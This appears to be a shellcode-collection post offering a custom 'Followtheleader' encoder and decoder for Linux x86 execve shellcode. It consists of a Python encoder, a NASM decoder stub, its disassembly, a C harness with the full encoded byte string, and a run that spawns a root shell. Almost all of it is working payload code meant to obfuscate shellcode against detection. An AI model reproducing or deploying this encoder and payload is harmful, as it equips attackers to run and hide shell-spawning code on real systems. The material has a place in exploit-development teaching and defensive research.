/*
Followtheleader custom execve-shellcode Encoder/Decoder - Linux Intel/x86
Author: Konstantinos Alexiou
*/
------------------------------------------------------------------------------------------------------------------
a)Python script. Encoder for shellcode (execve)
------------------------------------------------------------------------------------------------------------------
#!/usr/bin/python
# Author:Konstantinos Alexiou
# Encoding name: Followtheleader-encoder
# Description: Custom execve-shellcode encoder based on a given byte which is used to encode the execve shellcode
import random
import sys
shellcode =('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80')
total = len(sys.argv)
if total != 2:
print '!!Give the LEADER byte'
print 'Script must run as: python xxx.py LEADER'
print 'LEADER is any integer between 17-255'
print 'e.g python Followtheleader.py 32'
else:
try:
leader = int(sys.argv[1])
fb = int(hex(leader)[2:3],16) # Split the LEADER. If leader = AF -->fb=A
sb = int(hex(leader)[3:],16) # Split the LEADER. If LEADER = AF -->sb=F
encoded = ' '
encoded2 = ' '
encoded = '\\x'
encoded += hex(leader)[2:] # FIRST byte the LEADER
encoded2 = '0x'
encoded2 += hex(leader)[2:]
i=0
for x in bytearray(shellcode): # READ every Instruction as BYTE
i +=1
hopcode = '%02x' %x # KEEP only the HEX value of opcode
Dec_hopcode = int(hopcode, 16) # CALCULATE the DECIMAL value of opcode
suplX = 255 - Dec_hopcode # CALCULATE the SUPPLEMENT
rev_suplx = hex(suplX)[::-1] # REVERT the bytes of SUPPLEMENT (ae --> ea)
subfs = fb-sb
#----------------------------The Encoded byte ----------------------------------------------------
xxx = hex(int(abs(subfs)) + int(rev_suplx[0:2],16))
#-------------------------------------------------------------------------------------------------
if len(xxx)>4: # Check if xxx > 0xff
print 'Overflow encoding.Try again!!!.'
sys.exit()
elif xxx == '0x0': # Check if ZERO byte was encoded
print 'A byte was Encoded as 0x00 .Try again!!!'
sys.exit()
encoded += '\\x' # Put \x first
encoded += xxx[2:] # Put the xxx afterwards
insertByte = hex(random.randint(1,255)) # Put a Random byte
encoded += '\\x'
encoded += insertByte[2:]
i +=1
encoded2 += ','
encoded2 += xxx
encoded2 += ','
encoded2 += '0x'
encoded2 += insertByte[2:]
print ' *************';
print ' LEADER BYTE :decimal(%d), HEX(0x%x)' %(int(sys.argv[1]),leader)
print ' *************';
print 'Len of Shellcode: %02d' % i
print '------------------------------------------------------------------------';
print ' 1. Style:= %s ' % encoded
print '------------------------------------------------------------------------';
print ' 2. Style:= %s ' % encoded2
print '------------------------------------------------------------------------';
except:
print "exiting..."
---------------------------------------------------------------------------------------
Followtheleader Encoder test run :
$ python Followtheleader-encoder.py 67
*************
LEADER BYTE :decimal(67), HEX(0x43)
*************
Len of Shellcode: 50
------------------------------------------------------------------------
1. Style:= \x43\xed\x1d\xf4\x40\xfb\x6f\x7a\xa9\xe\xb6\xe\xbc\xc9\xe3\x7a\xaf\x7a\x78
\xe\xc5\xda\x76\x6a\x17\x1a\x4e\x68\x38\xc2\x99\xfb\x35\x68\x84\xd2\xb3\xcb\x7c\x68\x78
\xe2\x9a\xf5\xe9\x50\xc0\x24\x91\xf8\xfe
------------------------------------------------------------------------
2. Style:= 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,
0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,
0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe
------------------------------------------------------------------------
b) Decoder for the encoded shellcode (execve-stack)
---------------------------------------------------------------------------------------
$ cat Followtheleader-decoder.nasm
; Filename: Followtheleader-decoder.nasm
; Author: Konstantinos Alexiou
; Description: Followtheleader custom insertion Encoder, Linux Intel/x86
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi ; Address of EncodedShellcode to ESI
lea edi, [esi] ; Load effective address of what is contained on EDI
xor ecx, ecx ; Zero ECX
mul ecx ; This instruction will cause both EAX and EDX to become zero
xor ebp, ebp ; Zero the value on EBP
mov dl, byte [esi] ; Put the LEADER byte to EDX (DL)
;(firstb - secondb) CALCULATION
mov al, dl ; Copy the LEADER to EAX
;firstb extraction of LEADER
shr dl, 4 ; Keep only the 4 high bits of LEADER to DL (if Leader=ac then DL=a) [firstb]
;secondb extraction of LEADER
shl eax, 28 ; shift left 28 bits of EAX which contains the value of Leader on al
shr eax, 28 ; shift right 28 of EAX (if EAX=0xc0000000 now EAX=0x0000000c) [secondb]
sub dl, al ; (firstb - secondb) value stored to EDX (DL)
jns decode_pr
negative: ; Calculate the absolute value if negative
not dl
inc dl
;decode process
decode_pr:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
mov al, byte [esi+1+ebp] ; Put the encoded byte to EAX
mov ecx, ebp ; EBP is used as a counter copy the value of EBP to ECX
xor cl, 0x32 ; At the end of the shellcode EBP should point 50 in decimal 32 in hex
je short EncodedShellcode
;rev_suplx Calculation
mov cl, al ; Put the Encoded byte to EAX (xxx to EAX)
sub cl, dl ; rev_suplx= xxx-(firstb - secondb) value stored to CL
mov bl, cl ; Keep Backup of rev_suplx to BL
mov al, cl ; Second backup of CL
;Revert the bytes on rev_suplx
shr bl, 4 ; shift 4 bits right (if was bl=ec now bl=e)
shl eax, 28 ; shift left 28 bits of EAX which contains the value of rev_supl on cl( if EAX was 0xec now EAX=0xc0000000)
shr eax, 24 ; shift right 24 of EAX (if EAX=0xc0000000 now EAX=0x000000c0)
add eax, ebx ; add the value on EBX to EAX (if EAX=0x000000c0 + BL=0xe, EAX=0x0000000ce)
;Supplement Calculation
mov bl, 0xff ; Value of 0xff to BL
sub bl, al ; Calculate the Supplement
mov byte [edi], bl ; Put the decoded byte to the position of EDI
inc edi ; EDI is a pointer to the position which the decoded bytes will be stored
add ebp,0x2 ; The EBP is a counter values will be (2,4,6,..50)
jmp short decode_pr ; Goto the decode process to decode the next bytes
call_shellcode:
call decoder
EncodedShellcode: db 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe
---------------------------------------------------------------------------------------------------------------------------------------
$ objdump -d ./Followtheleader-decoder -M intel
./Followtheleader-decoder: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: eb 4e jmp 80480b0 <call_shellcode>
08048062 <decoder>:
8048062: 5e pop esi
8048063: 8d 3e lea edi,[esi]
8048065: 31 c9 xor ecx,ecx
8048067: f7 e1 mul ecx
8048069: 31 ed xor ebp,ebp
804806b: 8a 16 mov dl,BYTE PTR [esi]
804806d: 88 d0 mov al,dl
804806f: c0 ea 04 shr dl,0x4
8048072: c1 e0 1c shl eax,0x1c
8048075: c1 e8 1c shr eax,0x1c
8048078: 28 c2 sub dl,al
804807a: 79 04 jns 8048080 <decode_pr>
0804807c <negative>:
804807c: f6 d2 not dl
804807e: fe c2 inc dl
08048080 <decode_pr>:
8048080: 31 c0 xor eax,eax
8048082: 31 db xor ebx,ebx
8048084: 31 c9 xor ecx,ecx
8048086: 8a 44 2e 01 mov al,BYTE PTR [esi+ebp*1+0x1]
804808a: 89 e9 mov ecx,ebp
804808c: 80 f1 32 xor cl,0x32
804808f: 74 24 je 80480b5 <EncodedShellcode>
8048091: 88 c1 mov cl,al
8048093: 28 d1 sub cl,dl
8048095: 88 cb mov bl,cl
8048097: 88 c8 mov al,cl
8048099: c0 eb 04 shr bl,0x4
804809c: c1 e0 1c shl eax,0x1c
804809f: c1 e8 18 shr eax,0x18
80480a2: 01 d8 add eax,ebx
80480a4: b3 ff mov bl,0xff
80480a6: 28 c3 sub bl,al
80480a8: 88 1f mov BYTE PTR [edi],bl
80480aa: 47 inc edi
80480ab: 83 c5 02 add ebp,0x2
80480ae: eb d0 jmp 8048080 <decode_pr>
080480b0 <call_shellcode>:
80480b0: e8 ad ff ff ff call 8048062 <decoder>
080480b5 <EncodedShellcode>:
80480b5: 43 inc ebx
80480b6: ed in eax,dx
80480b7: 1d f4 40 fb 6f sbb eax,0x6ffb40f4
80480bc: 7a a9 jp 8048067 <decoder+0x5>
80480be: 0e push cs
80480bf: b6 0e mov dh,0xe
80480c1: bc c9 e3 7a af mov esp,0xaf7ae3c9
80480c6: 7a 78 jp 8048140 <EncodedShellcode+0x8b>
80480c8: 0e push cs
80480c9: c5 da 76 (bad)
80480cc: 6a 17 push 0x17
80480ce: 1a 4e 68 sbb cl,BYTE PTR [esi+0x68]
80480d1: 38 c2 cmp dl,al
80480d3: 99 cdq
80480d4: fb sti
80480d5: 35 68 84 d2 b3 xor eax,0xb3d28468
80480da: cb retf
80480db: 7c 68 jl 8048145 <EncodedShellcode+0x90>
80480dd: 78 e2 js 80480c1 <EncodedShellcode+0xc>
80480df: 9a f5 e9 50 c0 24 91 call 0x9124:0xc050e9f5
80480e6: f8 clc
80480e7: fe .byte 0xfe
-------------------------------------------------------------------------------------------
$ cat shellcode.c
#include<stdio.h>
#include<string.h>
unsigned char code[] =\
"\xeb\x4e\x5e\x8d\x3e\x31\xc9\xf7\xe1\x31\xed\x8a\x16\x88\xd0\xc0\xea\x04\xc1\xe0\x1c\xc1\xe8\x1c\x28\xc2\x79\x04\xf6\xd2\xfe\xc2\x31\xc0\x31\xdb\x31\xc9\x8a\x44\x2e\x01\x89\xe9\x80\xf1\x32\x74\x24\x88\xc1\x28\xd1\x88\xcb\x88\xc8\xc0\xeb\x04\xc1\xe0\x1c\xc1\xe8\x18\x01\xd8\xb3\xff\x28\xc3\x88\x1f\x47\x83\xc5\x02\xeb\xd0\xe8\xad\xff\xff\xff\x43\xed\x1d\xf4\x40\xfb\x6f\x7a\xa9\x0e\xb6\x0e\xbc\xc9\xe3\x7a\xaf\x7a\x78\x0e\xc5\xda\x76\x6a\x17\x1a\x4e\x68\x38\xc2\x99\xfb\x35\x68\x84\xd2\xb3\xcb\x7c\x68\x78\xe2\x9a\xf5\xe9\x50\xc0\x24\x91\xf8\xfe";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
-------------------------------------------------------------------------------------------
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode
Shellcode Length: 136
$whoami
root
$